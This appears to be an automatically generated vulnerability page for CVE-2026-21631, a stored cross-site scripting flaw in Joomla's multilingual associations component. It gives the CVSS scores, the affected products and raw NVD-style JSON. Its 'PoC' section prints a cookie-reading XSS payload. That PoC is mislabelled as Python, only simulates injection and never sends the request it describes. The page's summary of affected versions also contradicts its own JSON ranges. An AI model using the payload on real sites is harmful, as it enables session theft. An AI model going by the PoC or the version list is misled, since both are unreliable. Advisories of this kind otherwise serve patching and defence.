Security Vulnerability Report
中文
CVE-2026-21631 CVSS 5.4 MEDIUM

CVE-2026-21631

Published: 2026-04-01 10:16:16
Last Modified: 2026-04-09 19:55:58

Description

Lack of output escaping leads to a XSS vector in the multilingual associations component.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:* - VULNERABLE
Joomla Core 4.x
Joomla Core 5.x (Specific versions prior to patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-21631 (Joomla com_associations XSS) Description: Inject a malicious script into the multilingual association comparison view. --> <script> // Malicious payload to be injected in the association field var payload = '<img src=x onerror=alert(document.cookie)>'; // Simulation of the vulnerable request to store the payload // This would typically be done via a POST request to the component function injectPayload() { console.log("[+] Injecting payload into com_associations..."); // In a real scenario, the attacker would edit an item and associate it with a language // containing the payload in the title or description field. return payload; } // Trigger function when the admin views the comparison window.onload = function() { if (window.location.href.indexOf("com_associations") > -1) { var xss = injectPayload(); document.body.innerHTML = xss; } }; </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21631", "sourceIdentifier": "[email protected]", "published": "2026-04-01T10:16:16.097", "lastModified": "2026-04-09T19:55:58.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lack of output escaping leads to a XSS vector in the multilingual associations component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joomla:joomla\\!:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "5.4.4", "matchCriteriaId": "E21AF5F0-76B9-4F00-9055-A9F2A170253C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joomla:joomla\\!:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "B61EE37B-A751-48E2-BDBE-6A6EC5499798"}]}]}], "references": [{"url": "https://developer.joomla.org/security-centre/1029-20260303-core-xss-vector-in-com-associations-comparison-view.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/Shirshaw64p/security-advisories/tree/main/CVE-2026-21631", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}